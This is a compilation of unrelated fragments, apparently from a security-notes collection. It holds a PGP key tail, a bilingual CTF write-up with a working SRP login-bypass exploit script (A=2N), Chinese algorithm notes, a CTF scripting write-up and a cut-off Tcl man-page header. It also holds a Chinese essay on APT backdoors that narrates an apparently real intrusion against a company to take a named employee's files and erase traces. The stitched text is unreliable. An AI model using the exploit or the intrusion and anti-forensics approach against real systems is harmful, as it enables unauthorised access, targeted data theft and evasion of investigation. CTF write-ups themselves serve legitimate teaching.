KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK----- ```
sec-knowleage
## Srpp (Crypto, 231p) ###ENG [PL](#pl-version) We are given quite complicated file, but after simplification, the only important part is this: ```python params = getParams(nbit) N, g, k = params email = 'admin@asis-ctf.ir' client.send('params = (N, g, k) = ' + str(params) + '\n') salt = urandom(32) N, g, _ = params x = Hash(salt, email, password) verifier = pow(g, x, N) client.send('Send the email address and the public random positive value A seperated by "," as "email, A": ' + '\n') ans = client.recv(_bufsize).strip() print ans email, A = ans.split(',') A = int(A) assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n') assert email == 'admin@asis-ctf.ir', client.send('You should login as admin@asis-ctf.ir' + '\n') b = getRandomRange(1, N) B = (k * verifier + pow(g, b, N)) % N client.send('(salt, public_ephemeral) = (%s, %d) \n' % (salt.encode('base64')[:-1], B)) u = Hash(A, B) client.send('Send the session key: ' + '\n') K_client = client.recv(_bufsize).strip() assert K_client.isdigit(), client.send('Please send a valid positive integer as session key.' + '\n') K_client = int(K_client) S_s = pow(A * pow(verifier, u, N), b, N) print 'S_s', S_s K_server = Hash(S_s) print 'K_server', K_server client.send('Send a POC of session key: ' + '\n') M_client = client.recv(_bufsize).strip() assert M_client.isdigit(), client.send('Please send valid positive integer as POC.' + '\n') M_client = int(M_client) assert (K_server == K_client), client.send('The session key is not correct!' + '\n') assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n') M_server = Hash(A, M_client, K_server) # TODO: check server POC in clinet side client.send('Great, you got the flag: ' + flag + '\n') client.close() ``` This looks complicated, and hard to break, but let's look again. There are basically two checks we have to pass: ```python assert (K_server == K_client), client.send('The session key is not correct!' + '\n') assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n') ``` And the second one is no-issue (because every variable used in assert is given to us by challenge!). So we only have to calculate `K_client`. How are we going to achieve this? Well this looks impossible - algorithm here is almost bulletproof. Almost - except one small scar... ```python S_s = pow(A * pow(verifier, u, N), b, N) ``` A here is controlled by us. What if we could send A=0? Recovering `S_s` would be trivial (`0*anything == 0`). Alternatively we could send A=N. Unfortunatelly, challenge authors have thought about it: ```python assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n') ``` But wait, what if we could send A=2N? Well, this wasn't thought about, and this is how we solved this challenge. The only nontrivial part is this: ```python A = 2*N K_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 # hardcoded K_client assuming that S_s = 0 s.send(email + ', ' + str(A) + '\n') s.send(str(K_client) + '\n') ``` The rest is just basic mathematical operations on numbers given to us by challenge: ```python def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c print s.recv(9999) proof = proof_of_work(s) print proof s.send(proof) kot = recvuntil(s, ["public random"]) print kot email = 'admin@asis-ctf.ir' ls = kot.split('\n') for l in ls: if 'params' in l: data = l[21:] N, g, k = eval(data) print N, g, k A = 2*N K_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 s.send(email + ', ' + str(A) + '\n') s.send(str(K_client) + '\n') # almost done, just need to calculate POC kot = recvuntil(s, ['session key']) print kot ls = kot.split('\n') for l in ls: if 'salt' in l: data = l[28:] salt, B = re.findall("\((.*),(.*)\)", data)[0] salt = salt.decode('base64') B = B.strip() print salt, B poc = Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client) print poc s.send(str(poc)) print s.recv(999) ``` And that's it. ###PL version Dostajemy całkiem skomplikowany plik, ale po uproszczeniu, jedyna skomplikowana część to to: ```python params = getParams(nbit) N, g, k = params email = 'admin@asis-ctf.ir' client.send('params = (N, g, k) = ' + str(params) + '\n') salt = urandom(32) N, g, _ = params x = Hash(salt, email, password) verifier = pow(g, x, N) client.send('Send the email address and the public random positive value A seperated by "," as "email, A": ' + '\n') ans = client.recv(_bufsize).strip() print ans email, A = ans.split(',') A = int(A) assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n') assert email == 'admin@asis-ctf.ir', client.send('You should login as admin@asis-ctf.ir' + '\n') b = getRandomRange(1, N) B = (k * verifier + pow(g, b, N)) % N client.send('(salt, public_ephemeral) = (%s, %d) \n' % (salt.encode('base64')[:-1], B)) u = Hash(A, B) client.send('Send the session key: ' + '\n') K_client = client.recv(_bufsize).strip() assert K_client.isdigit(), client.send('Please send a valid positive integer as session key.' + '\n') K_client = int(K_client) S_s = pow(A * pow(verifier, u, N), b, N) print 'S_s', S_s K_server = Hash(S_s) print 'K_server', K_server client.send('Send a POC of session key: ' + '\n') M_client = client.recv(_bufsize).strip() assert M_client.isdigit(), client.send('Please send valid positive integer as POC.' + '\n') M_client = int(M_client) assert (K_server == K_client), client.send('The session key is not correct!' + '\n') assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n') M_server = Hash(A, M_client, K_server) # TODO: check server POC in clinet side client.send('Great, you got the flag: ' + flag + '\n') client.close() ``` Wygląda na skomplikowane i trudne do złamania. Ale w sumie, są tylko dwa testy które musimy przejść: ```python assert (K_server == K_client), client.send('The session key is not correct!' + '\n') assert (M_client == Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client)), client.send('The POC is not correct!' + '\n') ``` I drugi z nich to żaden problem (bo każda zmienna użyta w assercie jest wysyłana do nas przez serwer zadania) - więc musimy tylko obliczyć `K_client`. Jak zamierzamy to zrobić? Cóż, wygląda to na niemożliwe - algorytm jest prawie że kuloodporny. Prawie że - ma jeden drobny problem... ```python S_s = pow(A * pow(verifier, u, N), b, N) ``` A tutaj jest kontrolowane przez nas. Co jeśli wysłalibyśmy A=0? Odzyskanie `S_s` byłoby trywialne (`0*cokolwiek = 0`). Albo moglibyśmy wysłać A=N. Niestety, twórcy zadania pomyśleli o tym: ```python assert (A != 0 and A != N), client.send('Are you kidding me?! :P' + '\n') ``` Hmm, ale co jeśli wyślemy A=2N? Cóż, nikt o tym widać nie pomyślał, i w ten sposób rozwiązaliśmy to zadanie. Jedyna nietrywialna część naszego kodu to to: ```python A = 2*N K_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 # hardcoded K_client assuming that S_s = 0 s.send(email + ', ' + str(A) + '\n') s.send(str(K_client) + '\n') ``` Reszta to podstawowe operacje matematyczne na liczbach które dostajemy od zadania: ```python def proof_of_work(s): data = recvuntil(s, ["Enter X:"]) x_suffix, hash_prefix = re.findall("X \+ \"(.*)\"\)\.hexdigest\(\) = \"(.*)\.\.\.\"", data)[0] len = int(re.findall("\|X\| = (.*)", data)[0]) print(data) print(x_suffix, hash_prefix, len) for x in itertools.product(string.ascii_letters + string.digits, repeat=len): c = "".join(list(x)) h = hashlib.sha512(c + x_suffix).hexdigest() if h.startswith(hash_prefix): return c print s.recv(9999) proof = proof_of_work(s) print proof s.send(proof) kot = recvuntil(s, ["public random"]) print kot email = 'admin@asis-ctf.ir' ls = kot.split('\n') for l in ls: if 'params' in l: data = l[21:] N, g, k = eval(data) print N, g, k A = 2*N K_client = 43388321209941149759420236104888244958223766953174235657296806338137402595305 s.send(email + ', ' + str(A) + '\n') s.send(str(K_client) + '\n') # almost done, just need to calculate POC kot = recvuntil(s, ['session key']) print kot ls = kot.split('\n') for l in ls: if 'salt' in l: data = l[28:] salt, B = re.findall("\((.*),(.*)\)", data)[0] salt = salt.decode('base64') B = B.strip() print salt, B poc = Hash(Hash(N) ^ Hash(g), Hash(email), salt, A, B, K_client) print poc s.send(str(poc)) print s.recv(999) ``` I to w sumie tyle, wystarczyło to do zdobycia flagi.
sec-knowleage
# 10.1 斐波那契数列 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/c6c7742f5ba7442aada113136ddea0c3?tpId=13&tqId=11160&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 求斐波那契数列的第 n 项,n \<= 39。 <!--<div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=\left\{\begin{array}{rcl}0&&{n=0}\\1&&{n=1}\\f(n-1)+f(n-2)&&{n>1}\end{array}\right." class="mathjax-pic"/></div> <br> --> <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/45be9587-6069-4ab7-b9ac-840db1a53744.jpg" width="330px"> </div><br> ## 解题思路 如果使用递归求解,会重复计算一些子问题。例如,计算 f(4) 需要计算 f(3) 和 f(2),计算 f(3) 需要计算 f(2) 和 f(1),可以看到 f(2) 被重复计算了。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c13e2a3d-b01c-4a08-a69b-db2c4e821e09.png" width="350px"/> </div><br> 递归是将一个问题划分成多个子问题求解,动态规划也是如此,但是动态规划会把子问题的解缓存起来,从而避免重复求解子问题。 ```java public int Fibonacci(int n) { if (n <= 1) return n; int[] fib = new int[n + 1]; fib[1] = 1; for (int i = 2; i <= n; i++) fib[i] = fib[i - 1] + fib[i - 2]; return fib[n]; } ``` 考虑到第 i 项只与第 i-1 和第 i-2 项有关,因此只需要存储前两项的值就能求解第 i 项,从而将空间复杂度由 O(N) 降低为 O(1)。 ```java public int Fibonacci(int n) { if (n <= 1) return n; int pre2 = 0, pre1 = 1; int fib = 0; for (int i = 2; i <= n; i++) { fib = pre2 + pre1; pre2 = pre1; pre1 = fib; } return fib; } ``` 由于待求解的 n 小于 40,因此可以将前 40 项的结果先进行计算,之后就能以 O(1) 时间复杂度得到第 n 项的值。 ```java public class Solution { private int[] fib = new int[40]; public Solution() { fib[1] = 1; for (int i = 2; i < fib.length; i++) fib[i] = fib[i - 1] + fib[i - 2]; } public int Fibonacci(int n) { return fib[n]; } } ```
sec-knowleage
这一季依然是一个过渡季,根据之前的连载中,了解到后门是渗透测试的分水岭,它分别体现了攻击者对目标机器的熟知程度,环境,编程语言,了解对方客户,以及安全公司的本质概念。也同样检测了防御者需要掌握后门的基本查杀,与高难度查杀,了解被入侵环境,目标机器。以及后门或者病毒可隐藏角落,或样本取证,内存取证等。对各种平台查杀熟知,对常见第三方软件的了解程度。既然题目以“艺术”为核心,那么怎样把后门“艺术”行为化呢? 依然遵循以往,引入概念,**只有概念清晰,本质清晰,对于攻击者,这样的后门更具有持久性,潜伏性,锁定性等。对于防御者,更能熟知反后门对抗,对待常用第三方软件的检测方式方法,切断攻击者的后渗透攻击。溯源或取证攻击者。** 在高级持续渗透测试中,PTES的渗透测试执行标准主要分为**6段1报**。既: * 1.前期交互阶段 * 2.情报收集阶段 * 3.威胁建模阶段 * 4.漏洞分析阶段 * 5.渗透攻击阶段 * 6.后渗透攻击阶段 * 7.报告编写 这里要讲的不是打破它的流程,而是归纳总结到类,明确了类的方向,对待一个未知的目标网络环境,更能清晰的进行攻击或者对抗。 **提权的本质是什么?** **信息搜集,**搜集目标补丁情况,了解目标第三方利用等。 **内网渗透的本质是什么?** **信息搜集,**搜集目标内网的组织架构,明确渗透诉求,在渗透过程中,当获取到内网组织架构图,如鱼得水。 **渗透与高级持续渗透的本质区别是什么?** 区别于“持续”,可长期根据攻击者的诉求来潜伏持久的,具有针对性的**信息获取**。 (而在高级持续渗透它又分为2类,一类持久渗透,一类即时目标渗透) **溯源取证与对抗溯源取证的本质是什么?** **信息搜集**与**对抗信息搜集**。 以上4条,清晰的明确了类,以及类方向,在一次完整的实战过程中,攻击者与防御者是需要角色对换的,前期,攻击者信息搜集,防御者对抗信息搜集。而后渗透,攻击者对抗信息搜集,防御者信息搜集。 而在两者后的持续把控权限,是随机并且无规律的角色对换过程。主要表现之一为后门。这一句话也许很难理解,举例: 持续把控权限过程中,攻击者需要对抗防御者的信息搜集,而又要根据对方行为制定了解防御者的相关动作以及熟知目标环境的信息搜集安全时间。(包括但不限制于如防御者近期对抗查杀动作,防御者的作息规律,目标环境的作息规律等来制定相关计划)。 而在持续把控权限的过程中,防御者需要定期不完全依赖安全产品对自身环境的信息进行搜集(包括但不限制于日志异常,登陆异常,数据异常,第三方篡改日常等),一旦发现被攻击或者异常,对抗攻击者搜集,并且搜集攻击信息,攻击残留文件,排查可能沦陷的内网群,文件等。 在一次的引用百度百科对APT的解释:APT是黑客以窃取核心资料为目的,针对客户所发动的网络攻击和侵袭行为,是一种蓄谋已久的“恶意商业间谍威胁”。这种行为往往经过长期的经营与策划,并具备高度的隐蔽性。APT的攻击手法,在于隐匿自己,针对特定对象,长期、有计划性和组织性地窃取数据,这种发生在数字空间的偷窃资料、搜集情报的行为,就是一种“网络间谍”的行为。 实战中的APT又主要分为2大类,一类**持久渗透**,一类**即时目标渗透**,主要区别于高级持续渗透是6段1报,即时目标渗透是5段1清1报,共同点都是以黑客以窃取核心资料为目的,并且是一种蓄谋已久的长期踩点针对目标监视(包括但不限制于服务更新,端口更新,web程序更新,服务器更新等)。不同点主要区别于即时目标渗透清晰目标网络构架或是明确诉求,得到目标诉求文件,随即销毁自身入侵轨迹。结束任务。而**即时目标渗透**往往**伴随**着**传统的人力情报**的配合进行网络行动。 在即时目标渗透测试中,主要分为**5段1清1报**。既: 1. 前期交互阶段 2. 情报收集阶段 3. 威胁建模阶段 4. 漏洞分析阶段 5. 渗透攻击阶段 6. 清理攻击痕迹 7. 报告编写 持久渗透以时间换空间为核心的渗透,以最小化被发现,长期把控权限为主的渗透测试。 即时目标渗透则相反,放大已知条件,关联已知线索,来快速入侵,以达到诉求。 为了更好的解释APT即时目标渗透,举例某实战作为demo(由于是为了更好的解释即时目标渗透,所以过程略过),大部分图打码,见谅。 **任务背景:** **任务诉求:**需要得知周某某的今年采购的其中一个项目具体信息。 **已知条件:**该成员是xxx某大型公司。负责XXXX的采购人员。配合人力得知姓名,电话,身份证,照片等。 **任务时间:**一周之内 **制定计划:**找到开发公司,获取源码,代码审计,得到shell,拿到服务器,得到域控(或者终端管理)。得到个人机。下载任务文件。 **任务过程:**得知该XXX公司xxxx网站是某公司出品,得到某公司对外宣传网站,并且得到该开发公司服务器权限,下载源码模板。 **源码审计过程略过**。得到webshell ![](media/2fe13eec49008cd875bcd3e7619491fd.jpg) **提权略过**。得到服务器权限。 ![](media/bc8b996a04d17fb9b2925bd69e1b8255.jpg) **内网渗透略过**,配合人力情报,大致清楚目标内网架构。直奔内网终端管理系统。 查看在线机器,查找目标人物。 ![](media/d87c7fd9e8a9de62908a472f0f09c7b3.jpg) 任务推送执行: ![](media/d82e217006eefca3e84a8e2a0b26042d.jpg) 目标回链: ![](media/a0c66ae414ba3f932645544960023d94.jpg) 目标桌面截图:确定为目标人物 ![](media/a6825a164053779edd90124e5f922423.jpg) 下载任务文件后,清理入侵痕迹。任务完成。 ![](media/38de4714588b7828df92ec373feeef25.jpg) 那么持久渗透,即时目标渗透的主要表现区别即为后持续渗透,无后门的安装,无再次连接目标。以及传统人力情报的配合。 那么在demo中,如果需要长期跟踪,并且对方的内网中有多款安全产品,那么就要为它来制定一款针对该目标的后门。在传统后门中,大多数只考虑目标机系统环境,那么题目为“后门”的艺术,在今天强大的安全产品中对抗升级中,后门也开始加入了人性化因素。以及传统后门的特性变更:如无进程,无服务,无端口,无自启,无文件等,来附属在第三方上。根据目标环境的人为特点,上线时间,操作时间。来制定一次后门的唤醒时间。需要了解目标经常使用的第三方软件,来制定后门类型。(参考第一季)。 如何把后门定制到更贴近目标,来对抗反病毒,反后门查杀。利用人为化来启动,或者第三方唤醒,这应该是值得攻击者思考的问题。 而明确了类与类的方向,如何阻断攻击者的信息搜集,并且加大攻击者的暴露踪迹,减少非必要的第三方,这应该是指的防御者思考的问题。 后门在对抗升级中,越贴近目标的后门越隐蔽,越贴近人性化的后门越持久,而由于目前存储条件等因素,还不能够全流量的全部记录,而是全流量的部分流量记录。导致不能完全依赖安全产品,并且在实战中,往往并不是每一台机器(包括但不限制于服务器,个人机,办公及)都遵循安全标准。尤其是在当今VPN办公普遍的情况下,家用个人机为突破点的例子层出不穷。其他非人为因素等。导致了当下的安全再次回归到安全的初衷:人。是的,人是安全的尺度。 **/\*段子\*/** ![](media/b53363eb4c102d2a4b61aba52e2c941c.jpg) 可能某老夫跳出来,大喊,后门的人性化制作就这一个也能算艺术? 在现实中,我很喜欢问别人三个问题: 1. 你用过最糟糕的后门是什么样的? 2. 你用过最精彩的后门是什么样的? 3. 你最理想的后门是什么样的? 问题1.能大致分析出对方的入行时间 问题2.能大致的判断出对方目前的技术水平 问题3.能直接判断出对方对技术的追求是怎样的心态 后门是一种艺术。 在文章的结尾处,我想贴几个图。 **当初:多么简单的知识,都会找到你想要的教程。多么复杂的知识都会找到相关的文章。** ![](media/e834f6dc7f8f3848d3b0f7dc14565c6b.jpg) ![](media/9157b6422e4b34d3096dd087d49ffbc1.jpg) **现在:想学习的人,找不到入门的知识,与可以建立兴趣的文章。想分享的人却又胆战心惊。** ![](media/8cb82dc96d28bef71fb4fc92bd23e9b7.jpg) ![](media/1063e83fc58870b13b2f800f7370fe8e.jpg) ![](media/95296aceabdce450b483c7cb0cd0674d.jpg) **来自知乎某大V的回忆当初:** ![](media/8d207f338f4c48676512d4a3c2b981a0.jpg) ![](media/cd40207db31f9fee13eed92fcae1cb12.jpg) ![](media/72b54cd4d2c3fb02d37d3fb1fd26c518.jpg) 黑吧的logo还是曾经的那个logo,联盟的国徽还是那个国徽,只是人的心变了。 附录: PTES中文版 http://netsec.ccert.edu.cn/hacking/files/2011/07/PTES_MindMap_CN1.pdf > Micropoor
sec-knowleage
# TimeWarp Scripting, 50 points ## Description > Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline! Y0u'll have to 4nswer the qu3stion5 before we ask them! ## Solution We connect to the service and get the following output: ```console root@kali:/media/sf_CTFs/sunshine/TimeWarp# nc archive.sunshinectf.org 19004 I'm going to give you some numbers between 0 and 999. Repeat them back to me in 30 seconds or less! ``` If we guess a number, we get the correct number as output: ```console root@kali:/media/sf_CTFs/sunshine/TimeWarp# nc archive.sunshinectf.org 19004 I'm going to give you some numbers between 0 and 999. Repeat them back to me in 30 seconds or less! 1 39 G3tting c0lder! ``` We can use that to proceed by opening a new session: ```console root@kali:/media/sf_CTFs/sunshine/TimeWarp# nc archive.sunshinectf.org 19004 I'm going to give you some numbers between 0 and 999. Repeat them back to me in 30 seconds or less! 39 39 Icr3dible! 1 61 00f, th4t can't b3 g00d! ``` At first I tried the following pwntools script, but it was too slow: ```python from pwn import * import time def get_next_number(num_list): log.info("Starting to send new list of length {}".format(len(num_list))) with context.local(log_level='DEBUG'): r = remote("archive.sunshinectf.org", 19004) r.recvuntil("Repeat them back to me in 30 seconds or less!\n") for n in num_list: log.info("Sending {}".format(n)) r.sendline(n) out = r.recvline() out += r.recvline() if "sun{" in out: print out return None r.sendline("1000") new_num = r.recvline() r.recvall() return new_num.rstrip() num_list = [] while True: new_num = get_next_number(num_list) if new_num is None: break num_list.append(new_num) print num_list time.sleep(0.3) ``` The following bash script did the trick: ```bash #!/bin/bash output="" numbers=() while [[ ${output} != *"sun"* ]]; do output=$((printf '%s\n' "${numbers[@]}"; echo "9999") | nc archive.sunshinectf.org 19004) new_num=$(echo "$output" | tail -2 | egrep -x '[0-9]+') echo -n "$new_num " numbers+=("$new_num") #echo list: ${numbers[*]} done echo "" echo "$output" | grep sun ``` Output: ```console root@kali:/media/sf_CTFs/sunshine/TimeWarp# ./solve.sh 39 61 267 475 178 760 660 257 897 994 610 639 813 495 832 647 228 74 474 215 523 905 65 741 814 742 787 58 917 548 465 309 609 733 784 140 493 444 397 391 790 359 382 956 854 566 603 435 640 429 650 163 335 716 256 149 458 396 559 375 944 24 684 905 757 820 397 251 264 794 994 407 506 728 363 360 294 318 795 286 747 446 801 434 514 410 935 972 806 494 699 102 519 736 359 276 908 757 879 525 903 225 932 409 953 647 122 599 965 917 237 712 363 39 147 877 801 82 201 607 929 253 61 448 341 772 724 249 529 604 774 785 181 58 546 135 705 668 86 670 586 324 735 301 715 234 531 516 316 732 123 245 337 536 45 678 308 770 280 190 726 406 975 907 465 521 394 170 190 481 841 128 805 576 429 520 162 960 36 478 45 511 76 382 399 473 413 707 243 693 897 321 99 224 581 916 98 975 87 288 456 280 416 613 208 197 485 370 158 873 200 203 384 628 937 135 102 350 843 697 395 92 19 847 669 600 763 767 927 202 55 736 482 823 701 690 20 187 60 530 60 613 85 797 241 23 932 343 725 127 41 121 220 412 320 241 364 83 8 291 286 63 379 120 238 81 811 610 268 223 141 680 836 226 477 430 249 762 773 975 889 166 448 461 930 768 702 646 203 710 938 841 125 669 962 715 750 773 326 370 sun{derotser_enilemit_1001131519} ```
sec-knowleage
# 10.2 矩形覆盖 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/72a5a919508a4251859fb2cfb987a0e6?tpId=13&tqId=11163&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 我们可以用 2\*1 的小矩形横着或者竖着去覆盖更大的矩形。请问用 n 个 2\*1 的小矩形无重叠地覆盖一个 2\*n 的大矩形,总共有多少种方法? <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b903fda8-07d0-46a7-91a7-e803892895cf.gif" width="100px"> </div><br> ## 解题思路 当 n 为 1 时,只有一种覆盖方法: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f6e146f1-57ad-411b-beb3-770a142164ef.png" width="100px"> </div><br> 当 n 为 2 时,有两种覆盖方法: <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/fb3b8f7a-4293-4a38-aae1-62284db979a3.png" width="200px"> </div><br> 要覆盖 2\*n 的大矩形,可以先覆盖 2\*1 的矩形,再覆盖 2\*(n-1) 的矩形;或者先覆盖 2\*2 的矩形,再覆盖 2\*(n-2) 的矩形。而覆盖 2\*(n-1) 和 2\*(n-2) 的矩形可以看成子问题。该问题的递推公式如下: <!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?f(n)=\left\{\begin{array}{rcl}1&&{n=1}\\2&&{n=2}\\f(n-1)+f(n-2)&&{n>1}\end{array}\right." class="mathjax-pic"/></div> <br> --> <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/508c6e52-9f93-44ed-b6b9-e69050e14807.jpg" width="370px"> </div><br> ```java public int rectCover(int n) { if (n <= 2) return n; int pre2 = 1, pre1 = 2; int result = 0; for (int i = 3; i <= n; i++) { result = pre2 + pre1; pre2 = pre1; pre1 = result; } return result; } ```
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-2000 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: expr.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: expr.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on 